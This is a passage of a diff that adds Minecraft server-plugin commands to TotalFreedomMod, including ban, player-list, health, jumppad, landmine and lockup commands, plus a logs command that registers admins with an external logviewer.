return false;
|
||||
}
|
||||
|
||||
final Player player = getPlayer(args[0]);
|
||||
|
||||
if (player == null)
|
||||
{
|
||||
playerMsg(FreedomCommand.PLAYER_NOT_FOUND, ChatColor.RED);
|
||||
return true;
|
||||
}
|
||||
|
||||
String reason = null;
|
||||
if (args.length >= 2)
|
||||
{
|
||||
reason = StringUtils.join(ArrayUtils.subarray(args, 1, args.length), " ");
|
||||
}
|
||||
|
||||
FUtil.bcastMsg(player.getName() + " has been a VERY naughty, naughty boy.", ChatColor.RED);
|
||||
|
||||
// Undo WorldEdits
|
||||
try
|
||||
{
|
||||
plugin.web.undo(player, 15);
|
||||
}
|
||||
catch (NoClassDefFoundError ex)
|
||||
{
|
||||
}
|
||||
|
||||
// Rollback
|
||||
plugin.rb.rollback(player.getName());
|
||||
|
||||
// Deop
|
||||
player.setOp(false);
|
||||
|
||||
// Gamemode suvival
|
||||
player.setGameMode(GameMode.SURVIVAL);
|
||||
|
||||
// Clear inventory
|
||||
player.getInventory().clear();
|
||||
|
||||
// Strike with lightning
|
||||
final Location targetPos = player.getLocation();
|
||||
for (int x = -1; x <= 1; x++)
|
||||
{
|
||||
for (int z = -1; z <= 1; z++)
|
||||
{
|
||||
final Location strike_pos = new Location(targetPos.getWorld(), targetPos.getBlockX() + x, targetPos.getBlockY(), targetPos.getBlockZ() + z);
|
||||
targetPos.getWorld().strikeLightning(strike_pos);
|
||||
}
|
||||
}
|
||||
|
||||
String ip = FUtil.getFuzzyIp(Ips.getIp(player));
|
||||
|
||||
// Broadcast
|
||||
final StringBuilder bcast = new StringBuilder()
|
||||
.append(ChatColor.RED)
|
||||
.append("Banning: ")
|
||||
.append(player.getName())
|
||||
.append(", IP: ")
|
||||
.append(ip);
|
||||
if (reason != null)
|
||||
{
|
||||
bcast.append(" - Reason: ").append(ChatColor.YELLOW).append(reason);
|
||||
}
|
||||
FUtil.bcastMsg(bcast.toString());
|
||||
|
||||
// Ban player
|
||||
plugin.bm.addBan(Ban.forPlayerFuzzy(player, sender, null, reason));
|
||||
|
||||
// Kick player
|
||||
player.kickPlayer(ChatColor.RED + "GTFO");
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
@ -0,0 +1,101 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import java.text.DecimalFormat;
|
||||
import java.util.concurrent.atomic.AtomicInteger;
|
||||
import me.totalfreedom.totalfreedommod.util.FLog;
|
||||
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
|
||||
import org.apache.commons.lang.math.DoubleRange;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.scheduler.BukkitRunnable;
|
||||
import org.bukkit.scheduler.BukkitTask;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.SUPER_ADMIN, source = SourceType.BOTH)
|
||||
@CommandParameters(description = "View ticks-per-second", usage = "/<command>")
|
||||
public class Command_health extends FreedomCommand
|
||||
{
|
||||
private static final int BYTES_PER_MB = 1024 * 1024;
|
||||
private static final DoubleRange TPS_RANGE = new DoubleRange(20.0 - 0.1, 20.0 + 0.1);
|
||||
|
||||
@Override
|
||||
public boolean run(final CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
Runtime runtime = Runtime.getRuntime();
|
||||
long usedMem = runtime.totalMemory() - runtime.freeMemory();
|
||||
|
||||
playerMsg("Reserved Memory: " + (double) runtime.totalMemory() / (double) BYTES_PER_MB + "mb");
|
||||
playerMsg("Used Memory: " + new DecimalFormat("#").format((double) usedMem / (double) BYTES_PER_MB) + "mb (" + new DecimalFormat("#").format(((double) usedMem / (double) runtime.totalMemory()) * 100.0) + "%)");
|
||||
playerMsg("Max Memory: " + (double) runtime.maxMemory() / (double) BYTES_PER_MB + "mb");
|
||||
playerMsg("Calculating ticks per second, please wait...");
|
||||
|
||||
new BukkitRunnable()
|
||||
{
|
||||
@Override
|
||||
public void run()
|
||||
{
|
||||
try
|
||||
{
|
||||
TFM_TickMeter tickMeter = new TFM_TickMeter(plugin);
|
||||
tickMeter.startTicking();
|
||||
Thread.sleep(2500);
|
||||
final double ticksPerSecond = tickMeter.stopTicking();
|
||||
|
||||
new BukkitRunnable()
|
||||
{
|
||||
@Override
|
||||
public void run()
|
||||
{
|
||||
playerMsg("Ticks per second: " + (TPS_RANGE.containsDouble(ticksPerSecond) ? ChatColor.GREEN : ChatColor.RED) + ticksPerSecond);
|
||||
}
|
||||
}.runTask(plugin);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
FLog.severe(ex);
|
||||
}
|
||||
}
|
||||
}.runTaskAsynchronously(plugin);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
private class TFM_TickMeter
|
||||
{
|
||||
private final AtomicInteger ticks = new AtomicInteger();
|
||||
private final TotalFreedomMod plugin;
|
||||
private long startTime;
|
||||
private BukkitTask task;
|
||||
|
||||
public TFM_TickMeter(TotalFreedomMod plugin)
|
||||
{
|
||||
this.plugin = plugin;
|
||||
}
|
||||
|
||||
public void startTicking()
|
||||
{
|
||||
startTime = System.currentTimeMillis();
|
||||
ticks.set(0);
|
||||
|
||||
task = new BukkitRunnable()
|
||||
{
|
||||
@Override
|
||||
public void run()
|
||||
{
|
||||
ticks.incrementAndGet();
|
||||
}
|
||||
}.runTaskTimer(plugin, 0L, 1L);
|
||||
}
|
||||
|
||||
public double stopTicking()
|
||||
{
|
||||
task.cancel();
|
||||
long elapsed = System.currentTimeMillis() - startTime;
|
||||
int tickCount = ticks.get();
|
||||
|
||||
return (double) tickCount / ((double) elapsed / 1000.0);
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,67 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.potion.PotionEffectType;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.SUPER_ADMIN, source = SourceType.BOTH)
|
||||
@CommandParameters(description = "Shows (optionally smites) invisisible players", usage = "/<command> (smite)")
|
||||
public class Command_invis extends FreedomCommand
|
||||
{
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
boolean smite = false;
|
||||
if (args.length >= 1)
|
||||
{
|
||||
if (args[0].equalsIgnoreCase("smite"))
|
||||
{
|
||||
FUtil.adminAction(sender.getName(), "Smiting all invisible players", true);
|
||||
smite = true;
|
||||
}
|
||||
else
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
List<String> players = new ArrayList<String>();
|
||||
int smites = 0;
|
||||
|
||||
for (Player player : server.getOnlinePlayers())
|
||||
{
|
||||
if (player.hasPotionEffect(PotionEffectType.INVISIBILITY))
|
||||
{
|
||||
players.add(player.getName());
|
||||
if (smite && !plugin.al.isAdmin(player))
|
||||
{
|
||||
player.setHealth(0.0);
|
||||
smites++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (players.isEmpty())
|
||||
{
|
||||
playerMsg("There are no invisible players");
|
||||
return true;
|
||||
}
|
||||
|
||||
if (smite)
|
||||
{
|
||||
playerMsg("Smitten " + smites + " players");
|
||||
}
|
||||
else
|
||||
{
|
||||
playerMsg("Invisible players (" + players.size() + "): " + StringUtils.join(players, ", "));
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
@ -0,0 +1,95 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import me.totalfreedom.totalfreedommod.fun.Jumppads;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.SUPER_ADMIN, source = SourceType.BOTH)
|
||||
@CommandParameters(description = "Manage jumppads", usage = "/<command> <on | off | info | sideways <on | off> | strength <strength (1-10)>>", aliases = "launchpads,jp")
|
||||
public class Command_jumppads extends FreedomCommand
|
||||
{
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
if (args.length == 0 || args.length > 2)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
if (args.length == 1)
|
||||
{
|
||||
if (args[0].equalsIgnoreCase("info"))
|
||||
{
|
||||
playerMsg("Jumppads: " + (plugin.jp.getMode().isOn() ? "Enabled" : "Disabled"), ChatColor.BLUE);
|
||||
playerMsg("Sideways: " + (plugin.jp.getMode() == Jumppads.JumpPadMode.NORMAL_AND_SIDEWAYS ? "Enabled" : "Disabled"), ChatColor.BLUE);
|
||||
playerMsg("Strength: " + (plugin.jp.getStrength() * 10 - 1), ChatColor.BLUE);
|
||||
return true;
|
||||
}
|
||||
|
||||
if ("off".equals(args[0]))
|
||||
{
|
||||
FUtil.adminAction(sender.getName(), "Disabling Jumppads", false);
|
||||
plugin.jp.setMode(Jumppads.JumpPadMode.OFF);
|
||||
}
|
||||
else
|
||||
{
|
||||
FUtil.adminAction(sender.getName(), "Enabling Jumppads", false);
|
||||
plugin.jp.setMode(Jumppads.JumpPadMode.MADGEEK);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if (plugin.jp.getMode() == Jumppads.JumpPadMode.OFF)
|
||||
{
|
||||
playerMsg("Jumppads are currently disabled, please enable them before changing jumppads settings.");
|
||||
return true;
|
||||
}
|
||||
|
||||
if (args[0].equalsIgnoreCase("sideways"))
|
||||
{
|
||||
if ("off".equals(args[1]))
|
||||
{
|
||||
FUtil.adminAction(sender.getName(), "Setting Jumppads mode to: Madgeek", false);
|
||||
plugin.jp.setMode(Jumppads.JumpPadMode.MADGEEK);
|
||||
}
|
||||
else
|
||||
{
|
||||
FUtil.adminAction(sender.getName(), "Setting Jumppads mode to: Normal and Sideways", false);
|
||||
plugin.jp.setMode(Jumppads.JumpPadMode.NORMAL_AND_SIDEWAYS);
|
||||
}
|
||||
}
|
||||
else if (args[0].equalsIgnoreCase("strength"))
|
||||
{
|
||||
final float strength;
|
||||
try
|
||||
{
|
||||
strength = Float.parseFloat(args[1]);
|
||||
}
|
||||
catch (NumberFormatException ex)
|
||||
{
|
||||
playerMsg("Invalid Strength");
|
||||
return true;
|
||||
}
|
||||
|
||||
if (strength > 10 || strength < 1)
|
||||
{
|
||||
playerMsg("Invalid Strength: The strength may be 1 through 10.");
|
||||
return true;
|
||||
}
|
||||
|
||||
FUtil.adminAction(sender.getName(), "Setting Jumppads strength to: " + String.valueOf(strength), false);
|
||||
plugin.jp.setStrength((strength / 10) + 0.1F);
|
||||
}
|
||||
else
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
@ -0,0 +1,29 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.SENIOR_ADMIN, source = SourceType.BOTH, blockHostConsole = true)
|
||||
@CommandParameters(description = "Kick all non-superadmins on server.", usage = "/<command>")
|
||||
public class Command_kicknoob extends FreedomCommand
|
||||
{
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
FUtil.adminAction(sender.getName(), "Disconnecting all non-superadmins.", true);
|
||||
|
||||
for (Player player : server.getOnlinePlayers())
|
||||
{
|
||||
if (!plugin.al.isAdmin(player))
|
||||
{
|
||||
player.kickPlayer(ChatColor.RED + "All non-superadmins were kicked by " + sender.getName() + ".");
|
||||
}
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
@ -0,0 +1,66 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import java.util.Iterator;
|
||||
import me.totalfreedom.totalfreedommod.fun.Landminer.Landmine;
|
||||
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.Material;
|
||||
import org.bukkit.block.Block;
|
||||
import org.bukkit.block.BlockFace;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.OP, source = SourceType.ONLY_IN_GAME)
|
||||
@CommandParameters(description = "Set a landmine trap.", usage = "/<command>")
|
||||
public class Command_landmine extends FreedomCommand
|
||||
{
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
if (!ConfigEntry.LANDMINES_ENABLED.getBoolean())
|
||||
{
|
||||
playerMsg("The landmine is currently disabled.", ChatColor.GREEN);
|
||||
return true;
|
||||
}
|
||||
|
||||
if (!ConfigEntry.ALLOW_EXPLOSIONS.getBoolean())
|
||||
{
|
||||
playerMsg("Explosions are currently disabled.", ChatColor.GREEN);
|
||||
return true;
|
||||
}
|
||||
|
||||
double radius = 2.0;
|
||||
|
||||
if (args.length >= 1)
|
||||
{
|
||||
if ("list".equals(args[0]))
|
||||
{
|
||||
final Iterator<Landmine> landmines = plugin.lm.getLandmines().iterator();
|
||||
while (landmines.hasNext())
|
||||
{
|
||||
playerMsg(landmines.next().toString());
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
radius = Math.max(2.0, Math.min(6.0, Double.parseDouble(args[0])));
|
||||
}
|
||||
catch (NumberFormatException ex)
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
final Block landmine = sender_p.getLocation().getBlock().getRelative(BlockFace.DOWN);
|
||||
landmine.setType(Material.TNT);
|
||||
plugin.lm.add(new Landmine(landmine.getLocation(), sender_p, radius));
|
||||
|
||||
playerMsg("Landmine planted - Radius = " + radius + " blocks.", ChatColor.GREEN);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,44 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import me.totalfreedom.totalfreedommod.player.FPlayer;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.SUPER_ADMIN, source = SourceType.BOTH)
|
||||
@CommandParameters(description = "Show the last command that someone used.", usage = "/<command> <player>")
|
||||
public class Command_lastcmd extends FreedomCommand
|
||||
{
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
if (args.length == 0)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
final Player player = getPlayer(args[0]);
|
||||
|
||||
if (player == null)
|
||||
{
|
||||
playerMsg(FreedomCommand.PLAYER_NOT_FOUND);
|
||||
return true;
|
||||
}
|
||||
|
||||
final FPlayer playerdata = plugin.pl.getPlayer(player);
|
||||
|
||||
if (playerdata != null)
|
||||
{
|
||||
String lastCommand = playerdata.getLastCommand();
|
||||
if (lastCommand.isEmpty())
|
||||
{
|
||||
lastCommand = "(none)";
|
||||
}
|
||||
playerMsg(player.getName() + " - Last Command: " + lastCommand, ChatColor.GRAY);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
@ -0,0 +1,104 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.NON_OP, source = SourceType.BOTH)
|
||||
@CommandParameters(description = "Lists the real names of all online players.", usage = "/<command> [-a | -i]", aliases = "who")
|
||||
public class Command_list extends FreedomCommand
|
||||
{
|
||||
private static enum ListFilter
|
||||
{
|
||||
ALL,
|
||||
ADMINS,
|
||||
IMPOSTORS;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
if (args.length > 1)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
if (FUtil.isFromHostConsole(sender.getName()))
|
||||
{
|
||||
final List<String> names = new ArrayList<String>();
|
||||
for (Player player : server.getOnlinePlayers())
|
||||
{
|
||||
names.add(player.getName());
|
||||
}
|
||||
playerMsg("There are " + names.size() + "/" + server.getMaxPlayers() + " players online:\n" + StringUtils.join(names, ", "), ChatColor.WHITE);
|
||||
return true;
|
||||
}
|
||||
|
||||
final ListFilter listFilter;
|
||||
if (args.length == 1)
|
||||
{
|
||||
if ("-a".equals(args[0]))
|
||||
{
|
||||
listFilter = ListFilter.ADMINS;
|
||||
}
|
||||
else if ("-i".equals(args[0]))
|
||||
{
|
||||
listFilter = ListFilter.IMPOSTORS;
|
||||
}
|
||||
else
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
listFilter = ListFilter.ALL;
|
||||
}
|
||||
|
||||
final StringBuilder onlineStats = new StringBuilder();
|
||||
final StringBuilder onlineUsers = new StringBuilder();
|
||||
|
||||
onlineStats.append(ChatColor.BLUE).append("There are ").append(ChatColor.RED).append(server.getOnlinePlayers().size());
|
||||
onlineStats.append(ChatColor.BLUE).append(" out of a maximum ").append(ChatColor.RED).append(server.getMaxPlayers());
|
||||
onlineStats.append(ChatColor.BLUE).append(" players online.");
|
||||
|
||||
final List<String> names = new ArrayList<String>();
|
||||
for (Player player : server.getOnlinePlayers())
|
||||
{
|
||||
if (listFilter == ListFilter.ADMINS && !plugin.al.isAdmin(player))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
if (listFilter == ListFilter.IMPOSTORS && !plugin.al.isAdminImpostor(player))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
names.add(plugin.rm.getRank(player).getColoredTag() + player.getName());
|
||||
}
|
||||
|
||||
onlineUsers.append("Connected ");
|
||||
onlineUsers.append(listFilter == Command_list.ListFilter.ADMINS ? "admins: " : "players: ");
|
||||
onlineUsers.append(StringUtils.join(names, ChatColor.WHITE + ", "));
|
||||
|
||||
if (senderIsConsole)
|
||||
{
|
||||
sender.sendMessage(ChatColor.stripColor(onlineStats.toString()));
|
||||
sender.sendMessage(ChatColor.stripColor(onlineUsers.toString()));
|
||||
}
|
||||
else
|
||||
{
|
||||
sender.sendMessage(onlineStats.toString());
|
||||
sender.sendMessage(onlineUsers.toString());
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
@ -0,0 +1,19 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.NON_OP, source = SourceType.ONLY_IN_GAME)
|
||||
@CommandParameters(description = "Teleport to the spawn point for the current world.", usage = "/<command>", aliases = "worldspawn,gotospawn")
|
||||
public class Command_localspawn extends FreedomCommand
|
||||
{
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
sender_p.teleport(sender_p.getWorld().getSpawnLocation());
|
||||
playerMsg("Teleported to spawnpoint for world \"" + sender_p.getWorld().getName() + "\".");
|
||||
return true;
|
||||
}
|
||||
}
|
@ -0,0 +1,126 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import me.totalfreedom.totalfreedommod.player.FPlayer;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.scheduler.BukkitRunnable;
|
||||
import org.bukkit.scheduler.BukkitTask;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.SENIOR_ADMIN, source = SourceType.ONLY_CONSOLE, blockHostConsole = true)
|
||||
@CommandParameters(description = "Block target's minecraft input. This is evil, and I never should have wrote it.", usage = "/<command> <all | purge | <<partialname> on | off>>")
|
||||
public class Command_lockup extends FreedomCommand
|
||||
{
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
if (args.length == 1)
|
||||
{
|
||||
if (args[0].equalsIgnoreCase("all"))
|
||||
{
|
||||
FUtil.adminAction(sender.getName(), "Locking up all players", true);
|
||||
|
||||
for (Player player : server.getOnlinePlayers())
|
||||
{
|
||||
startLockup(player);
|
||||
}
|
||||
playerMsg("Locked up all players.");
|
||||
}
|
||||
else if (args[0].equalsIgnoreCase("purge"))
|
||||
{
|
||||
FUtil.adminAction(sender.getName(), "Unlocking all players", true);
|
||||
for (Player player : server.getOnlinePlayers())
|
||||
{
|
||||
cancelLockup(player);
|
||||
}
|
||||
|
||||
playerMsg("Unlocked all players.");
|
||||
}
|
||||
else
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
else if (args.length == 2)
|
||||
{
|
||||
if (args[1].equalsIgnoreCase("on"))
|
||||
{
|
||||
final Player player = getPlayer(args[0]);
|
||||
|
||||
if (player == null)
|
||||
{
|
||||
sender.sendMessage(FreedomCommand.PLAYER_NOT_FOUND);
|
||||
return true;
|
||||
}
|
||||
|
||||
FUtil.adminAction(sender.getName(), "Locking up " + player.getName(), true);
|
||||
startLockup(player);
|
||||
playerMsg("Locked up " + player.getName() + ".");
|
||||
}
|
||||
else if ("off".equals(args[1]))
|
||||
{
|
||||
final Player player = getPlayer(args[0]);
|
||||
|
||||
if (player == null)
|
||||
{
|
||||
sender.sendMessage(FreedomCommand.PLAYER_NOT_FOUND);
|
||||
return true;
|
||||
}
|
||||
|
||||
FUtil.adminAction(sender.getName(), "Unlocking " + player.getName(), true);
|
||||
cancelLockup(player);
|
||||
playerMsg("Unlocked " + player.getName() + ".");
|
||||
}
|
||||
else
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
private void cancelLockup(FPlayer playerdata)
|
||||
{
|
||||
BukkitTask lockupScheduleID = playerdata.getLockupScheduleID();
|
||||
if (lockupScheduleID != null)
|
||||
{
|
||||
lockupScheduleID.cancel();
|
||||
playerdata.setLockupScheduleID(null);
|
||||
}
|
||||
}
|
||||
|
||||
private void cancelLockup(final Player player)
|
||||
{
|
||||
cancelLockup(plugin.pl.getPlayer(player));
|
||||
}
|
||||
|
||||
private void startLockup(final Player player)
|
||||
{
|
||||
final FPlayer playerdata = plugin.pl.getPlayer(player);
|
||||
|
||||
cancelLockup(playerdata);
|
||||
|
||||
playerdata.setLockupScheduleID(new BukkitRunnable()
|
||||
{
|
||||
@Override
|
||||
public void run()
|
||||
{
|
||||
if (player.isOnline())
|
||||
{
|
||||
player.openInventory(player.getInventory());
|
||||
}
|
||||
else
|
||||
{
|
||||
cancelLockup(playerdata);
|
||||
}
|
||||
}
|
||||
}.runTaskTimer(plugin, 0L, 5L));
|
||||
}
|
||||
}
|
@ -0,0 +1,166 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import java.net.HttpURLConnection;
|
||||
import java.net.MalformedURLException;
|
||||
import java.net.URL;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashMap;
|
||||
import java.util.Iterator;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Map.Entry;
|
||||
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||
import me.totalfreedom.totalfreedommod.admin.Admin;
|
||||
import me.totalfreedom.totalfreedommod.util.FLog;
|
||||
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.scheduler.BukkitRunnable;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.SUPER_ADMIN, source = SourceType.ONLY_IN_GAME)
|
||||
@CommandParameters(description = "Register your connection with the TFM logviewer.", usage = "/<command> [off]")
|
||||
public class Command_logs extends FreedomCommand
|
||||
{
|
||||
@Override
|
||||
public boolean run(final CommandSender sender, final Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
LogsRegistrationMode mode = LogsRegistrationMode.UPDATE;
|
||||
|
||||
if (args.length == 1)
|
||||
{
|
||||
mode = ("off".equals(args[0]) ? LogsRegistrationMode.DELETE : LogsRegistrationMode.UPDATE);
|
||||
}
|
||||
|
||||
updateLogsRegistration(sender, sender_p, mode);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
public static void updateLogsRegistration(final CommandSender sender, final Player target, final LogsRegistrationMode mode)
|
||||
{
|
||||
updateLogsRegistration(sender, target.getName(), target.getAddress().getAddress().getHostAddress().trim(), mode);
|
||||
}
|
||||
|
||||
public static void updateLogsRegistration(final CommandSender sender, final String targetName, final String targetIP, final LogsRegistrationMode mode)
|
||||
{
|
||||
final String logsRegisterURL = ConfigEntry.LOGS_URL.getString();
|
||||
final String logsRegisterPassword = ConfigEntry.LOGS_SECRET.getString();
|
||||
|
||||
if (logsRegisterURL == null || logsRegisterPassword == null || logsRegisterURL.isEmpty() || logsRegisterPassword.isEmpty())
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
new BukkitRunnable()
|
||||
{
|
||||
@Override
|
||||
public void run()
|
||||
{
|
||||
try
|
||||
{
|
||||
if (sender != null)
|
||||
{
|
||||
sender.sendMessage(ChatColor.YELLOW + "Connecting...");
|
||||
}
|
||||
|
||||
URL url = new URLBuilder(logsRegisterURL)
|
||||
.addQueryParameter("mode", mode.toString())
|
||||
.addQueryParameter("password", logsRegisterPassword)
|
||||
.addQueryParameter("name", targetName)
|
||||
.addQueryParameter("ip", targetIP)
|
||||
.getURL();
|
||||
|
||||
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
|
||||
connection.setConnectTimeout(1000 * 5);
|
||||
connection.setReadTimeout(1000 * 5);
|
||||
connection.setUseCaches(false);
|
||||
connection.setRequestMethod("HEAD");
|
||||
|
||||
final int responseCode = connection.getResponseCode();
|
||||
|
||||
if (sender != null)
|
||||
{
|
||||
new BukkitRunnable()
|
||||
{
|
||||
@Override
|
||||
public void run()
|
||||
{
|
||||
if (responseCode == 200)
|
||||
{
|
||||
sender.sendMessage(ChatColor.GREEN + "Registration " + mode.toString() + "d.");
|
||||
}
|
||||
else
|
||||
{
|
||||
sender.sendMessage(ChatColor.RED + "Error contacting logs registration server.");
|
||||
}
|
||||
}
|
||||
}.runTask(TotalFreedomMod.plugin);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
FLog.severe(ex);
|
||||
}
|
||||
}
|
||||
}.runTaskAsynchronously(TotalFreedomMod.plugin);
|
||||
}
|
||||
|
||||
public static void deactivateSuperadmin(Admin superadmin)
|
||||
{
|
||||
for (String ip : superadmin.getIps())
|
||||
{
|
||||
updateLogsRegistration(null, superadmin.getName(), ip, Command_logs.LogsRegistrationMode.DELETE);
|
||||
}
|
||||
}
|
||||
|
||||
public static enum LogsRegistrationMode
|
||||
{
|
||||
UPDATE("update"), DELETE("delete");
|
||||
private final String mode;
|
||||
|
||||
private LogsRegistrationMode(String mode)
|
||||
{
|
||||
this.mode = mode;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString()
|
||||
{
|
||||
return mode;
|
||||
}
|
||||
}
|
||||
|
||||
private static class URLBuilder
|
||||
{
|
||||
private final String requestPath;
|
||||
private final Map<String, String> queryStringMap = new HashMap<String, String>();
|
||||
|
||||
public URLBuilder(String requestPath)
|
||||
{
|
||||
this.requestPath = requestPath;
|
||||
}
|
||||
|
||||
public URLBuilder addQueryParameter(String key, String value)
|
||||
{
|
||||
queryStringMap.put(key, value);
|
||||
return this;
|
||||
}
|
||||
|
||||
